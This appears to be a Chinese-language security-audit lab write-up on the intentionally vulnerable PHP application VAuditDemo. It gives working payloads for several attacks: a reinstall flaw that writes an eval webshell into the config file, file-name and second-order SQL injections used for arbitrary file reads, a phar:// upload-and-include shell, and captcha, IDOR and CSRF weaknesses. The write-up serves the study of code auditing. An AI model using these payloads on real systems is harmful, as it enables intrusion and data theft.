一:二次安装漏洞
对比config.php源代码
if (!file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock')){
header("Location: /install/install.php");
exit;
}
对比Install.php源代码
if ( file_exists($_SERVER["DOCUMENT_ROOT"].'/sys/install.lock') ) {
header( "Location: ../index.php" );
}
require_once '../header.php';
工作过程判断sys目录下是否存在install.lock,若存在则跳转到首页index.php,而index.php中包含了sys/config.php,其中判断了sys中是否存在install.lock 若不存在则跳转。
Install.php->index.php->config.php
对比差异发现install.php跳转后并没有exit进行退出,故可能存在2次安装漏洞
1.泄露安装信息
2.install.php继续运行
$dbhost = $_POST["dbhost"];
$dbuser = $_POST["dbuser"];
$dbpass = $_POST["dbpass"];
$dbname = $_POST["dbname"];
dbname参数可控
mysql_query( "CREATE DATABASE $dbname", $con ) or die( mysql_error() );
可能存在sql注入漏洞,没有对post请求进行转义过滤
$str_tmp.="\$database=\"$dbname\"; \r\n";
怎样构造payload使表名有效且是木马脱离
CREATE DATABASE vauditdemo-- ";@eval($_POST[a]);//
$database="vauditdemo-- ";@eval($_POST[a]);//";
Payload为vauditdemo-- ";@eval($_POST[a]);//
成功写入木马
成功写入木马
菜刀连接成功
攻击链 在install.php中写入 ,index.php包含了config.php,且用户参数可控,没有过滤,导至成功写入木马
install.php跳转后并没有exit进行退出,导致漏洞,建议安装完毕后,删除安装页面
二:常见方法
1.所有文件的读写敏感函数:file_get_contnts,fgets,file_put_contents,fwrite,避免用户可控点,避免写入木马,避免文件读写,避免读取全站源码
Avatar.php存在文件读取参数可控
echo file_get_contents($_SESSION['avatar']);
2.所有用户可输入对象:$_POST,$_GET,$_SERVER,$_FILES,$_REQUEST
Lip.php中源代码
if( !get_magic_quotes_gpc() ) {
$_GET = sec ( $_GET );
$_POST = sec ( $_POST );
$_COOKIE = sec ( $_COOKIE );
}
说明$_SERVER,$_FILES,$_REQUEST没有被过滤
3.文件包含,include,include_once,require,require_once,确认是否有可控点
Index.php中
if (isset($_GET['module'])){
include($_GET['module'].'.inc');
module参数可控
4.对于用户可控的,要注意来源是否是用户,若不是,则要回溯看这个变量值来源
X-Forwarded_For请求字段
若经过3个代理ip分别为ip1,ip2,ip3则会收到
X-Forwarded_For:IP0,IP1,IP2 remode_addr:ip3
Lib.php存在
HTTP_X_FORWARDED_FOR
常用过滤条件addslashes过滤单引号等,mysql_real_escape_string,htmlspecialchars,后缀名过滤str_ireplace。
三.用户操作漏洞
1.用户登录时没有验证码,也没有次数限制,可以暴力破解
2.没有对用户名特殊字符过滤,woniu‘#,可以而二次注入
3.后台登录,没有考虑验证码为空的情况,验证码为空,且用户删除验证码导致
空==空从而绕过验证码,并且验证码没有做失效处理
(@$_POST['captcha'] !== $_SESSION['captcha']
4.查看源代码updateName.php,发现存在修改任意用户名的代码,$clean_user_id没有验证,从而用户可以变成任意用户,实现越权操作
$query = "UPDATE users SET user_name = '$clean_username' WHERE user_id = '$clean_user_id'";
5.用户修改密码是存在csrf漏洞,没有对旧密码验证,也没有是有token验证机制
四.首页文件包涵漏洞
分析index.php源代码
if (isset($_GET['module'])){
include($_GET['module'].'.inc');
发现可能存在文件包涵module参数可控,需要后缀名为.inc
查看updateAvatar.php源代码,发现文件上传有白名单限制,只能上传图片文件,考虑phar://伪协议,创建shell.inc的一句话木马,再压缩成zip,修改为shell.jpg进行上传
上传成功,但使用了时间戳对其进行了重命名,攻击者无法获得文件名,但可能通过时间戳爆破猜出文件名,所以需要对module竟可能的不可控。
五:任意文件读取漏洞
avatart.php中,$_SESSION['avatar']可控,若将其构造成一个文件名,是不是可以读取任意文件,从而黑盒变白盒呢?
<?php
error_reporting(0);
session_start();
header("Content-type:image/jpeg");
echo file_get_contents($_SESSION['avatar']);
?>
分析发现$_SESSION['avatar']的值通过updateavatar.php中进行更新赋值
$query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
其中$avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];发现sql语句来源于$_FILES,综上$_files没有过滤,所以存在sql注入,下面尝试对update语句进行拼接
UPDATE users SET user_avatar = 'index.php' where user_name='kun'#.jpg' WHERE user_id = 1;
此处会自动添加一个前缀,为了绕过,利用到update的特性,同列重复赋值时,取最后一个。
../uploads/u_1660717080_index.php
UPDATE users SET user_avatar = '../uploads/u_1660717080_',user_avatar = 0x2E2E2F696E6465782E706870 where user_name='kun'#.jpg' WHERE user_id = 1;
注入后成功将头像改成文件名
访问http://192.168.206.145:81/user/avatar.php?avatar=/后读取到源代码
本漏洞调用链条
- 搜索敏感函数,file_get_contnts找到读取文件
- 发现$_SESSION['avatar']参数可控
- 去找谁给$_SESSION['avatar']赋值,发现$row['user_avatar']对其赋值
4.谁给$row['user_avatar'],找到update更新语句'$avatar'
5.最后发现'$avatar',来源于$_FILES['upfile']['name'],确认可控点
六:发表留言2次注入
messageSub.php中
$query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('{$_SESSION['username']}','$clean_message',now())";
$_SESSION['username'],$clean_message这2个参数时可控的,所以尝试对insert语句进行拼接
INSERT INTO comment(user_name,comment_text,pub_date) VALUES ('kun\',',database(),1);#',2021);
Payload为,database(),1);#
因为没有对用户名进行过滤特殊字符,所以才有了拼接的可能
攻击链,$_SESSION['username']可控,注册一个kun\的用户,$clean_message可控,构建payload完成注入,成功线束数据库名
最后,留言处存在无法利用的xssdom漏洞,存进去时没有进行html编码